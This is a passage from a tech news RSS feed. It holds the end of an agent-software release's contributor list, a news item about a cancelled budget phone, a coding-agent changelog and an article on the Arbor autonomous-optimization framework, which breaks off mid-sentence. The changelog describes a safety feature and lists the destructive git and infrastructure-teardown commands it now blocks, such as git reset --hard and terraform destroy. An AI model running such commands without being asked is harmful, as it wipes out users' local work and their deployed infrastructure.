data-hovercard-url="/users/harshitAgr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshitAgr">@harshitAgr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hbentel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hbentel">@hbentel</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/Hermes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hermes">@Hermes</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangxun375-stack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangxun375-stack">@huangxun375-stack</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ianculling/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ianculling">@ianculling</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, @islam666, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ITheEqualizer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ITheEqualizer">@ITheEqualizer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsflownium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsflownium">@itsflownium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/james47kjv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/james47kjv">@james47kjv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeeves-assistant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeeves-assistant">@jeeves-assistant</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrobodie-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrobodie-glitch">@jeffrobodie-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JezzaHehn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JezzaHehn">@JezzaHehn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jiangkoumo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jiangkoumo">@jiangkoumo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jimjsong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jimjsong">@jimjsong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimStenstrom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimStenstrom">@JimStenstrom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmsunseri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmsunseri">@jmsunseri</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joel611/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joel611">@joel611</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoelJJohnson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoelJJohnson">@JoelJJohnson</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerj123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerj123">@joerj123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johnjacobkenny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johnjacobkenny">@johnjacobkenny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jooray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jooray">@jooray</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshuadow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshuadow">@joshuadow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jplew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jplew">@jplew</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justinbao19/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justinbao19">@justinbao19</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Justlrnal4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Justlrnal4">@Justlrnal4</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kamonspecial/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kamonspecial">@kamonspecial</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kdunn926/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kdunn926">@kdunn926</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kenmege/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kenmege">@Kenmege</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kewe63/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kewe63">@Kewe63</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kmccammon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kmccammon">@kmccammon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kristianvast/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kristianvast">@kristianvast</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kyssta-exe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kyssta-exe">@kyssta-exe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/l37525778-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/l37525778-coder">@l37525778-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaPhilosophie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaPhilosophie">@LaPhilosophie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leo4226/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leo4226">@leo4226</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Llugaes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Llugaes">@Llugaes</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LoongZhao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LoongZhao">@LoongZhao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lsaether/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lsaether">@lsaether</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m4dni5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m4dni5">@m4dni5</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/manishbyatroy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/manishbyatroy">@manishbyatroy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaxFreedomPollard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaxFreedomPollard">@MaxFreedomPollard</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxmilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxmilian">@maxmilian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxtrigify/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxtrigify">@maxtrigify</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mnajafian-nv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mnajafian-nv">@mnajafian-nv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohamedorigami-jpg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohamedorigami-jpg">@mohamedorigami-jpg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mollusk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mollusk">@mollusk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MrDiamondBallz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MrDiamondBallz">@MrDiamondBallz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mssteuer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mssteuer">@mssteuer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mvanhorn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mvanhorn">@mvanhorn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/naqerl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/naqerl">@naqerl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nea74/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nea74">@Nea74</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nepenth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nepenth">@nepenth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NormallyGaussian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NormallyGaussian">@NormallyGaussian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmarB97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmarB97">@OmarB97</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omegazheng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omegazheng">@omegazheng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OndrejDrapalik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OndrejDrapalik">@OndrejDrapalik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oxngon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oxngon">@oxngon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OYLFLMH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OYLFLMH">@OYLFLMH</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paperclip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paperclip">@paperclip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paulb26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paulb26">@paulb26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pengyuyanITYU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pengyuyanITYU">@pengyuyanITYU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PhilipAD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PhilipAD">@PhilipAD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pinguarmy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pinguarmy">@pinguarmy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/plcunha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/plcunha">@plcunha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProgramCaiCai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProgramCaiCai">@ProgramCaiCai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/psionic73/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/psionic73">@psionic73</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qin-ctx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qin-ctx">@qin-ctx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingshan89/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingshan89">@qingshan89</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Que0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Que0x">@Que0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qWaitCrypto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qWaitCrypto">@qWaitCrypto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randomsnowflake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randomsnowflake">@randomsnowflake</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rbrtbn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rbrtbn">@rbrtbn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rio-jeong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rio-jeong">@rio-jeong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Rivuza/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Rivuza">@Rivuza</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rodboev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rodboev">@rodboev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruangraung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruangraung">@ruangraung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyTsYdUp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyTsYdUp">@RyTsYdUp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sahil-SS9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sahil-SS9">@Sahil-SS9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/salesondemandio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/salesondemandio">@salesondemandio</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sanidhyasin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sanidhyasin">@sanidhyasin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sarvesh1327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sarvesh1327">@sarvesh1327</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sdyckjq-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sdyckjq-lab">@sdyckjq-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,<br>
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,<br>
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,<br>
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,<br>
@xiaoxinova, @xtymac, @xushibo, @XVVH, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,<br>
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,<br>
@zxcasongs.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.5...v2026.6.19">v2026.6.5...v2026.6.19</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The RAM crisis just killed Nothing’s next budget phone — CMF Phone 3 Pro scrapped as co-founder says ‘we can't build a phone that feels like a genuine step forward’]]></title>
<description><![CDATA[AI has a lot to answer for, with the ongoing RAM crisis now leading to no new CMF phones this year.]]></description>
<link>https://tsecurity.de/de/3610056/it-nachrichten/the-ram-crisis-just-killed-nothings-next-budget-phone-cmf-phone-3-pro-scrapped-as-co-founder-says-we-cant-build-a-phone-that-feels-like-a-genuine-step-forward/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610056/it-nachrichten/the-ram-crisis-just-killed-nothings-next-budget-phone-cmf-phone-3-pro-scrapped-as-co-founder-says-we-cant-build-a-phone-that-feels-like-a-genuine-step-forward/</guid>
<pubDate>Fri, 19 Jun 2026 12:32:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI has a lot to answer for, with the ongoing RAM crisis now leading to no new CMF phones this year.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.183]]></title>
<description><![CDATA[What's changed

Improved auto mode safety: destructive git commands (git reset --hard, git checkout -- ., git clean -fd, git stash drop) are now blocked when you didn't ask to discard local work, git commit --amend is blocked when the commit wasn't made by the agent this session, and terraform de...]]></description>
<link>https://tsecurity.de/de/3609208/downloads/v21183/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609208/downloads/v21183/</guid>
<pubDate>Fri, 19 Jun 2026 03:50:11 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Improved auto mode safety: destructive git commands (<code>git reset --hard</code>, <code>git checkout -- .</code>, <code>git clean -fd</code>, <code>git stash drop</code>) are now blocked when you didn't ask to discard local work, <code>git commit --amend</code> is blocked when the commit wasn't made by the agent this session, and <code>terraform destroy</code>/<code>pulumi destroy</code>/<code>cdk destroy</code> are blocked unless you asked for the specific stack</li>
<li>Added a warning when the requested model is deprecated or automatically updated to a newer model, shown on stderr in print mode (<code>-p</code>) and now also covering models set in agent frontmatter</li>
<li>Added <code>attribution.sessionUrl</code> setting to omit the claude.ai session link from commits and PRs in web and Remote Control sessions</li>
<li>Added <code>/config --help</code> to list all available shorthand keys for <code>/config key=value</code></li>
<li>Changed <code>/config</code> toggle behavior: Enter and Space both change the selected setting, and Esc now saves and closes instead of reverting</li>
<li>Removed the startup "setup issues" line under the logo — run <code>/doctor</code> to see configuration issues or use <code>--debug</code></li>
<li>Fixed <code>thinking.disabled.display: Extra inputs are not permitted</code> 400 errors on subagent spawns and session-title generation for affected configurations</li>
<li>Fixed WebSearch returning empty results in subagents</li>
<li>Fixed the terminal cursor being stranded above the prompt after navigating history in vim mode with the native cursor enabled</li>
<li>Fixed fullscreen TUI corruption (statusline mid-screen, duplicated spinner rows, merged text) in Windows Terminal under heavy nested-subagent load</li>
<li>Fixed turns silently completing with no visible output when the model returned only a thinking block; Claude now re-prompts once</li>
<li>Fixed user-level skills appearing multiple times in slash-command autocomplete when multiple plugins are enabled</li>
<li>Fixed MCP servers requiring authentication exposing auth-stub tools to the model in headless/SDK mode</li>
<li>Fixed tmux teammate panes failing to launch when the shell has slow rc-file initialization, and keystrokes typed during agent spawn leaking into the new tmux pane instead of the leader prompt</li>
<li>Fixed background tasks started by a teammate being killed when the teammate finishes a turn</li>
<li>Fixed scheduled task and webhook trigger deliveries being treated as keyboard input; they now classify as task notifications and can no longer approve a pending action or set the session title in auto mode</li>
<li>Fixed focus mode showing "Ran N PostToolUse hooks" timing lines under each response</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[New AI optimization framework beats Claude Code and Codex by 2.5x on the same compute budget]]></title>
<description><![CDATA[Imagine your engineering team just deployed an AI agent to search through internal company documents and answer employee questions. It works perfectly in development, but in production, it consistently hallucinates or misses key constraints. Fixing this is rarely a simple patch. It requires a ted...]]></description>
<link>https://tsecurity.de/de/3608643/it-nachrichten/new-ai-optimization-framework-beats-claude-code-and-codex-by-25x-on-the-same-compute-budget/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608643/it-nachrichten/new-ai-optimization-framework-beats-claude-code-and-codex-by-25x-on-the-same-compute-budget/</guid>
<pubDate>Thu, 18 Jun 2026 20:16:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Imagine your engineering team just deployed an AI agent to search through internal company documents and answer employee questions. It works perfectly in development, but in production, it consistently hallucinates or misses key constraints. Fixing this is rarely a simple patch. It requires a tedious, trial-and-error process of tweaking chunking strategies, retrieval methods, and system prompts simultaneously. Because these adjustments are entangled, it becomes nearly impossible to attribute which specific tweak actually solved the problem. </p><p>To address this challenge, researchers at Renmin University of China and Microsoft Research introduced <a href="https://arxiv.org/abs/2606.11926">Arbor</a>, a framework that upgrades AI-driven research and optimization from a sequence of trial-and-error guesses into a cumulative learning process. Arbor organizes hypotheses, experiments, and insights into a tree that helps the system learn from prior failures to make smarter, verified improvements over time.</p><p>In practical tests, Arbor delivered more than 2.5 times the verifiable performance gains of standard AI coding agents across real-world engineering tasks while operating under the same resource budget. </p><p>For enterprise AI, this technique directly translates to automating the continuous improvement of complex, real-world engineering systems.</p><h2>Understanding the bottleneck in autonomous optimization</h2><p>As large language models and AI systems become more capable, they are expected to carry out more complex operations such as autonomous optimization (AO) of software systems such as agent harnesses or model training algorithms. </p><p>AO captures the fundamental loop of autonomous research. An AI agent starts with an initial mutable artifact, such as a machine learning codebase or data pipeline, and a specific objective. The agent's goal is to iteratively improve this artifact through experimental feedback without step-by-step human supervision.</p><p>The main challenge of AO is often misunderstood. Many engineering teams find that simply giving a coding agent more time or compute to optimize a codebase doesn't lead to better results. "Automation can keep an AI working for a very long time — but a loop is not the same as progress," Jiajie Jin, co-author of the paper, told VentureBeat. "If the goal is vague, or the metric is easy to hack, long-running automation often just produces 'improvements' faster that nobody actually wants."</p><p>Jin explains that complex tasks take many attempts to get right, and standard agent architectures are missing the critical data structure to maintain state. "How do you make sure the insight and experience from each attempt actually accumulate, instead of getting lost in a scrollback buffer?" he said. Without this structure, agents simply repeat the same mistakes.</p><p>Current agent systems can run experiments for many hours against well-specified goals: editing code, invoking tools, running tests autonomously. But they treat each attempt in isolation, missing the structural mechanisms that would let them accumulate and act on what they've learned.</p><p>They lack the capacity to simultaneously 